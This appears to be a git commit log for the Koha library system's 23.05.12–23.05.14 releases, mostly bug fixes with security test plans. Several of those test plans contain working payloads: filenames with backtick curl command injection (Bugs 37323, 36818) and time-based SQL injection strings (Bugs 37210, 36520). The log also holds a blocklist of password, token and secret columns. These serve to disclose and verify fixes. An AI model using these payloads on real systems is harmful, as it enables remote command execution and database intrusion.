Update release notes for 23.05.14 release

Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>

Revert "Bug 37255: Fix handling of "All" values on waiting hold cancellation policy"

This reverts commit e0211501384a72481ade9d6ca74162b7d7059dd7.

Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>

Update release notes for 23.05.14 release

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Increment version for 23.05.14 release

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: (QA follow-up) Move sth error check up

This patch moves the error check right before the ->check_columns call.
This is how main and 24.05 behave. 23.11 doesn't have bug 35907
backported so things are not exactly the same. With this patch tests
pass and the only difference in behavior is logging.

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: Don't return Internal server error when running report

To test:
1 - Create a report like:
SELECT "a"
FROM borrowers
WHERE <<Test>> != ''
2 - Run report
3 - Enter "password"
4 - Internal server error / stacktrace
5 - Apply patch
6 - Repeat
7 - Get a yellow warning box

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: (QA follow-up) Use ->check_columns

Add shebang to Guided.t too.

Test plan:
See also previous commits.
Try sql like:
  select access_token from oauth_access_tokens

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: (QA follow-up) Move check to Koha::Report, extend

Do not allow password but allow password_expiry_days etc.
Do not allow token, secret and uuid too.

Test plan:
Run t/db_dependent/Koha/Reports.t

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: (follow-up) Don't pass the column or sql containing password

This patch replaces these variables with a non-translatable message.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: (follow-up) Throw error is password is in SQL query at all

Confirm tests pass t/db_dependent/Reports/Guided.t

Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: Test for errors when returning an aliased password column

Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37508: Throw error if password column is detected in SQL report

This enhancement prevents SQL queries from being run if they would return a password field from the database table.

To test:

1. Run tests and notice they fail t/db_dependent/Reports/Guided.t

2. Apply patch and restart services

3. Create a public report with an SQL report which would access a password column in a database table
4. Try to run the report. Notice you are met with an error and the results are not shown.
5. Access the JSON URL, you should not get the results and should be shown an error
6. Confirm tests pass t/db_dependent/Reports/Guided.t

Sponsored-by: Reserve Bank of New Zealand
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37370: Return 400 if OpacExportOptions does not contain the passed format

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37466: Add correct filter for sort_by in results.tt

This patch replaces the $raw filter with the correct uri filter
for the sort_by in results.tt

Test plan:
1. Apply patch
2. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=1
3. Click on "Edit this search"
4. Note that the "Popularity (most to least)" Sort by option is selected
5. Go to /cgi-bin/koha/catalogue/search.pl?count=20&sort_by=popularity_dsc&idx=kw&q=24y24ty2498294t9824yt9y23
6. Click on "Edit this search"
7. Note that the "Popularity (most to least)" Sort by option is selected

Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Aleisha Amohia <aleishaamohia@hotmail.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37464: Validate "type" sent to barcode/svc

This change validates the "type" sent to the barcode/svc. Without this
change, we pass the user input directly to GD::Barcode, which passes
the input into an eval{} block without any validation of its own.

Test plan:
0. Apply the patch
1. koha-plack --reload kohadev
2. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=bad&barcode=123456
3. Note that a Code39 barcode is provided for an invalid type
4. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=Code39&barcode=123456
5. Note that a Code39 barcode is provided
6. Go to http://localhost:8081/cgi-bin/koha/svc/barcode?type=UPCE&barcode=123456
7. Note that a non-Code39 barcode is provided (presumably UPCE)

Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Aleisha Amohia <aleishaamohia@hotmail.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37488: Validate paths in datalink.txt/idlink.txt files

This change validates the paths in datalink.txt/idlink.txt,
so that only images in the unpacked archive directory are allowed

Test plan:
0. Apply the patch
1. koha-plack --reload kohadev
2. Create a datalink.txt file with the following:
42,selfie.jpg
3. Create a jpeg at selfie.jpg
4. ZIP the datalink.txt and selfie.jpg files
5. Upload to the "Upload patron images" tool
(after enabling the "patronimages" system preference)
6. Note that the image uploads correctly

Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37323: Tidy

Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37323: Don't allow symlinks in link files in zip and validate filepaths

Test plan:
0. Apply patch and restart/reload Koha
1. Test that uploading a patron image still works, in single file format and as a zip

Work as suggested

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37323: Escape characters in patron image picture upload

To Test
1. Create a file name for example: test.zip`curl xxxxtesting.informaticsglobal.com`.zip
   where the domain is one you can watch the logs from.
2. Go to Tools and click on Upload patron images choose option zip file and upload the file.
3. Check /var/log/apache2/access.log and see the curl with the IP
   "xx.xxx.xx.xxx - - [11/Jul/2024:23:10:33 +0530] "GET / HTTP/1.1" 200 267 "-" "curl/7.68.0"
4. Apply the patch
5. Repeat 2 and 3 step and check no error is coming for the Remote execution error.
6. Test uploading actual zip file and images still works.

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37255: Fix handling of "All" values on waiting hold cancellation policy

If one creates a default waiting hold cancellation policy with
patron categories set as "All" and itemtype set as "All", Koha
breaks on 500 error. This happens because in we try to match
template policy with "All" values either in category or itemtype
with *, not undef. This patch fixes this.

To test:
1. Create a new default waiting hold cancellation policy and
set both patron category and itemtype as "All".
2. Save policy.
=> Error page for error 500 is displayed.
3. Apply this patch.
4. Reload page.
=> Page is displayed and policy listing displays new policy
as it should.

Sponsored-by: Koha-Suomi Oy
Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>

Bug 37533: fix query in orderreceive.tt

The new validation in the REST API will no longer allow
the operator "in".  Consequently, it has to be replaced
with the allowed "-in".

Test plan:

 * Open an invoice and click "Go to receipt page" and
   on any basket click "receive" and make sure the dialog
   box appears.

Signed-off-by: Aleisha Amohia <aleishaamohia@hotmail.com>
Signed-off-by: David Cook <dcook@prosentient.com.au>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Update release notes for 23.05.13 release

Signed-off-by: Wainui Witika-Park <wainuiwitikapark@catalyst.net.nz>

Increment version for 23.05.13 release

Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Merge branch '23.05.x' into 23.05.x-security

Bug 37247: [23.05.x] Send Koha::Subscription to template

Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37247: [23.05.x] Fix display of "closed"

The subscription was not shown as closed after we closed it.
This is because "closed" is not passed to the template.
It seems more reliable to rely on the subscription object (that is passed to both
serials/serials-collection.tt and serials/subscription-detail.tt, the
others are not showing the Reopen/Close buttons)

Also fetch the subscription object after and reopen/close it to display
accurate values.

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37247: [23.05.x] Fix subscriptions operation allowed without authentication

Move close and reopen after get_template_and_user().
Also move Koha::Subscriptions->find(), not a good idea to run DB queries
before authentication.

Test plan :
1) Apply patch
2) Authenticate to staff interface
3) Go to an existing open subscription
4) Open a new browser tab and use it to log-out
5) Go to first tab and click on 'Close'
6) You get login page
7) Authenticate
8) Check subscription is not closed
9) Check you can close and reopen subscription

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37210: Properly escape SQL query parameters by using bind values

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37210: Escape single quote in search string in overdue.pl

To Test:
1. Go to /cgi-bin/koha/circ/overdue.pl
2. In the «Name or card number» field, type «Tommy'and(select(0)from(select(sleep(10)))v)and'»
3. Apply the filter
   ==> It takes 10 seconds, sleep(10) is executed
4. Inspect the page, in «Patron category:» field, put «Tommy'and(select(0)from(select(sleep(10)))v)and'» in one of his option's value
5. select the option from the filter and Apply the filter
   ==> It takes 10 seconds, sleep(10) is executed
we can inject SQL to the followin field : borname, itemtype, borcat, holdingbranch, homebranch and branch
6. Apply the patch
7. Repeat step 1,2,3
   ==> it doesn't take 10 seconds, the injected sql is not executed
8. Repeat step 5
==> it doesn't take 10 seconds, the injected sql is not executed
9. Repeat step 5 with the followin field : itemtype, holdingbranch, homebranch and branch
   ==> it doesn't take 10 seconds, the injected sql is not executed

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Add 400 response definition to all routes

This patch adds a test for well defined 400 responses on all verbs and
paths on the API spec.

The tests verify:

* Presence of 400 response definition
* The description must start with 'Bad request' (needs coding guideline)
* If DBIC queries are allowed on the route, then `invalid_query` needs
  to be mentioned in the description.

All routes get fixed to make the tests pass.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ yarn api:bundle
  k$ prove xt/api.t
=> SUCCESS: Tests pass!

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Clarify operators

This patch clarifies the list of operators both in the validate routine
and in the swagger descrption block where we document this feature for
the end user.

JD amended patch: tidy

Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Silence useless warning

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Handle exception in unhandled_exception() helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: (follow-up) adding some allowed operators

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Use validation in search_rs helper

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Add validation method to Koha::REST::Plugin::Query.pm

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Add Koha::Exceptions::REST

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Unit tests

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37018: Regression tests

This patch adds regression tests. With the current codebase, the
malicious query returns a 200. It should be caught and a 400 needs to be
returned.

To test:
1. Apply this patch
2. Run:
   $ ktd --shell
  k$ prove t/db_dependent/api/v1/query.t
=> FAIL: It returns a 200
3. Once the rest of the patches are ready, repeat 2
=> SUCCESS: It returns a 400

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Jonathan Druart <jonathan.druart@bugs.koha-community.org>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37146: Add tests

Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 37146: Prevent path traversal by validating input

This patch validates the plugin_name passed to plugin_launcher.pl
against the base path containing the "value_builder" directory.

Test plan:
0. Apply the patch
1. koha-plack --reload kohadev
2. Go to http://localhost:8081/cgi-bin/koha/cataloguing/addbiblio.pl?biblionumber=29
3. Check that the tag editor for leader still works
4. Go to http://localhost:8081/cgi-bin/koha/cataloguing/additem.pl?biblionumber=29
5. Check that the pluginf or "Date acquired" still works

Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 35115: (QA follow-up):

Spelling.
Tidyness.
Removal of leftover warn

Nick's patch fixes the issue as described, and I agree that it is the ideal solution here.
prove t/db_dependent/api/v1/erm_eholdings* passes
prove t/db_dependent/Koha/BackgroundJob/CreateEHoldingsFromBiblios.t passes

Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 35115: Move store routine from Resource to Title and update code

These patches move the store routine from Koha::ERM::EHoldings::Resource to Koha::ERM::EHoldings::Title as the code deals exclusively with title fields.

It updates the code to ensure that records are created when a title is not attched to a biblio, and that only the biblio title field is updated when updating an eholdings title.

To test:
 1 - Enable ERMModule sys pref
 2 - Create a new public list, visit:
     /cgi-bin/koha/virtualshelves/shelves.pl
 3 - Click "New list" enter name, set public -> public
 4 - Click "Add items", enter 112\n113\n114 (new line for each), in "Biblio numbers"
 5 - Notice that all added biblios have quite a few MARC fields
 6 - Go to packages, visit:
     /cgi-bin/koha/erm/eholdings/local/packages
 7 - Create a new package, add a name and hit 'Submit'
 8 - Go to titles, visit:
     /cgi-bin/koha/erm/eholdings/local/titles
 9 - Click "import from list"
10 - Pick the package created in 7)
11 - On the row of the list created in 2), click "Import"
12 - Go back to the list, visit:
     /cgi-bin/koha/virtualshelves/shelves.pl?op=view&shelfnumber=1
13 - Notice all the biblios have been stripped of their MARC data, and only title remains.
14 - Go to details page for one of the bibs
15 - Edit -> Replace record via Z39.50
16 - You can search for anything, just make sure to import a mostly full record
17 - Go back to ERM - eHoldings - Local - Titles
18 - Edit the title for the record that was replaced
19 - Save
20 - Go to record details - note the record is gone again
21 - Apply patches
22 - Search the catalog
23 - Check some titles
24 - Add to a new list
25 - repeat 8 - 11 with the new list
26 - View and confirm records are intact
27 - Edit the eholdings title for one of the records, changing the title field
28 - Save and view record details
29 - Confirm record is intact and title updated

Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 36816: Remove warning

Use of uninitialized value in string eq at /kohadevbox/koha/opac/opac-memberentry.pl line 629.

Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 98637f17a7e59b2fbf0d8d9331b2508065211913)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Bug 36816: Restore clearing patron attributes - OPAC

1) Add a new patron attribute type, visit:
<staff_url>/cgi-bin/koha/admin/patron-attr-types.pl?op=add_attribute_type
2) Add a code and a description (whatever) - Make it 'Display in OPAC' and 'Editable in OPAC'
3) Access OPAC patron personal details page, visit:
<opac_url>/cgi-bin/koha/opac-memberentry.pl
4) Scroll down and add some info to 'whatever'. Click 'Submit update request'.
5) Visit the INTRA 'update patron requests from opac' page:
<staff_url>/cgi-bin/koha/members/members-update.pl
6) Notice the entry is there. Select 'approve' and click "Submit"
7) Repeat 3)
8) Scroll down and notice the approved value is there. Clear that data and "Submit update request" (as if you're requesting for that data to be removed/cleared)
9) Repeat 5)
10) Notice there's an entry, and it is not empty. Select 'approve' and click "Submit"
11) Repeat 3)
12) Scroll down and notice the request to update (clear) that field did go through, i.e. the data is not there anymore.

Also test self-registration and mandatory attributes

Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit f4e999bb9f9a714eedc5bac22dd6902abe288af1)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
Signed-off-by: wainuiwitikapark <wainuiwitikapark@catalyst.net.nz>

Update release notes for 23.05.12 release

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Increment version for the 23.05.12 release

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36520: Sanitize input in opac-sendbasket.pl

To test
1/ Add some items to your cart in the opac
2/ Choose send cart
3/ Open firefox developer tools and switch to the network tab
4/ Send cart
5/ In the network tab, find the post request and choose copy as curl
6/ Edit the curl command to add )+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+-  to the bib_list parameter
7/ Run the curl notice it takes a long time to respond, if you want to check run the curl without the above part added
8/ Apply the patch and restart plack
9/ Run the modified curl and notice no longer the slow down
10/ Test in browser and make sure the basket is still sent

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36520: Prevent SQL injection in GetPreparedLetter

Actually in _get_tt_params

The following query will delay the response

SELECT `me`.`biblionumber`, `me`.`frameworkcode`, `me`.`author`, `me`.`title`, `me`.`medium`, `me`.`subtitle`, `me`.`part_number`, `me`.`part_name`, `me`.`unititle`, `me`.`notes`, `me`.`serial`, `me`.`seriestitle`
, `me`.`copyrightdate`, `me`.`timestamp`, `me`.`datecreated`, `me`.`abstract`
  FROM `biblio` `me`
WHERE `biblionumber` = '1) AND (SELECT 1 FROM (SELECT(SLEEP(6)))x)-- -'
ORDER BY field( biblionumber, 1 ) AND (
    SELECT 1
      FROM
    SELECT SLEEP( 6 ) x
   ) -- - )

To test
1/ Add some items to your cart in the opac
2/ Choose send cart
3/ Open firefox developer tools and switch to the network tab
4/ Send cart
5/ In the network tab, find the post request and choose copy as curl
6/ Edit the curl command to add )+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+-  to the bib_list parameter
7/ Run the curl notice it takes a long time to respond, if you want to check run the curl without the above part added
8/ Apply the patch and restart plack
9/ Run the modified curl and notice no longer the slow down
10/ Test in browser and make sure the basket is still sent

Signed-off-by: Chris Cormack <chris@bigballofwax.co.nz>
Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36520: Add tests

Signed-off-by: Victor Grousset/tuxayo <victor@tuxayo.net>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36818: Escape characters in file names uploaded

To test:
1/ create a file named something like 'execute`curl blog.bigballofwax.co.nz`.zip'
   Where the domain is one you can watch the logs from
2/ Upload this file as a cover image
3/ Check /var/lib/koha/sitename/tmp/koha_sitename/ and see unescaped filenames
4/ Choose process, check the logs of the webserver see the connection has been made
5/ Apply the patch
5/ Repeat 2 & 3 and see the filename is now escaped
6/ Choose process and check no errors but no no remote execution occurs
7/ Test uploading actual zip file and images still works

Signed-off-by: Amit Gupta <amit.gupta@informaticsglobal.com>
Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: (Rmaint follow-up) Fix number of tests

Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: (QA follow-up) Shibboleth POD and checkpw_internal call

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: Adjust checkpw_internal to return patron

This patch refactors checkpw_internal to remove the SQL code, use patron ojbects, and return the
patron that correctly matches the userid/caerdnumber when auth is successful

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: (bug 34893 follow-up) Return patron when autocreating in Shibboleth

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: (bug 34893 follow-up) Return patron from LDAP

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: (QA follow-up)

Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Kyle M Hall <kyle@bywatersolutions.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: Return correct patron when there is a shared userid / cardnumber

This patch moves some patron fetching code in C4/Auth to use to patron returned from the validation
methods and only try to fetch the patron (to check if locked, update attempts, etc) if we didn't authenticate

To test:
1 - Set a user to have userid = BANANA password = Password1
2 - Set a user to have cardnumber = BANANA password = Password2
3 - Hit the patron authentication API:
    http://localhost:8080/api/v1/auth/password/validation
    with data:
    { "identifier": "BANANA", "password":"Password1" }
    and:
    { "identifier": "BANANA", "password":"Password2" }
4 - Note you receive the same response for both
5 - Apply patch, restart all
6 - Repeat the API and confirm you get the correct patron for the password submitted

Signed-off-by: Martin Renvoize <martin.renvoize@ptfs-europe.com>
Signed-off-by: Kyle M Hall <kyle@bywatersolutions.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: Unit tests for checkpw_shib

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36575: Unit tests for checkpw_ldap

Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36792: Limit POSIX imports

A Marcel's QA patch to Bug 36552 added use POSIX; in two spots.
In https://metacpan.org/pod/POSIX we read:

CAVEATS
Everything is exported by default (with a handful of exceptions). This is
an unfortunate backwards compatibility feature and its use is strongly
discouraged. You should either prevent the exporting (by saying use
POSIX ();, as usual) and then use fully qualified names (e.g.
POSIX::SEEK_END), or give an explicit import list. If you
do neither and opt for the default (as in use POSIX;), you will
import hundreds and hundreds of symbols into your namespace.

This patch fixes this.

No test plan.

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 8d9ccd6fc371877fbd4d016ee3bc1de54721787e)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit ca023b334cc9b79cfd85e6bb9a75c7037ae1fd95)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 34263: (QA follow-up): Use flatpickr .clear instead

Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 1137793e44ce6b5d2a4e7759e46218f6ddeb9e8b)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit dcddcda37d1efb586cb75a89df4ad6af0bf438ee)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 34263: Suspending holds consecutively populates previously used date falsely

Suspending a hold doesn't clear the date from the date picker. When another hold is suspended
the previously used date will show on the date picker but the value is not set on the hold.
Suspending the hold will suspend it indefinitely. Also the link "Clear date to suspend indefinitely"
will not clear the date picker. This patch will make both the Suspend button and the Clear date link
clear the dates from both the date picker and the variable passed on, making the suspending consistent
with what is seen on the date picker.

Test plan:
1) Place 3 holds on a patron.
2) Suspend a hold and set a date for it.
3) Suspend a second hold and notice the previously used date is shown on the date picker.
   Note that the hold will be suspended indefinitely.
4) Open the suspending window for the third hold and pick a date. Click "Clear date to suspend indefinitely"
   and note the date picker doesn't get cleared. The hold will be suspended indefinitely.
5) Apply patch.
6) Suspend a hold and set a date for it.
7) Suspend a second hold and notice the date picker does not have a preset date.
8) Pick a date and clear it with the "Clear date to suspend indefinitely link".
   See that the date picker also gets cleared.

Signed-off-by: Pedro Amorim <pedro.amorim@ptfs-europe.com>
Signed-off-by: Nick Clemens <nick@bywatersolutions.com>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 0f0479e87aaa324b455fbbf40674f15e2fa862c0)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit 44a26cbec7d63d873c0b13cbd8097138431480d0)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36939: Remove a warning from Serials.t

t/db_dependent/Serials.t .. 2/57 Use of uninitialized value in numeric gt (>) at /kohadevbox/koha/C4/Serials.pm line 2029.

Signed-off-by: David Nind <david@davidnind.com>
Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
(cherry picked from commit 7d75ec3e2602dcadbb238dfb7cbec76020ebafef)
Signed-off-by: Fridolin Somers <fridolin.somers@biblibre.com>
(cherry picked from commit f41e7398857cc9f76c0bcdf01e3426c192e773e0)
Signed-off-by: Lucas Gass <lucas@bywatersolutions.com>

Bug 36923: Remove warnings from Holds/LocalHoldsPriority.t

t/db_dependent/Holds/LocalHoldsPriority.t .. 1/7 Use of uninitialized value in numeric gt (>) at /kohadevbox/koha/C4/Reserves.pm line 866.
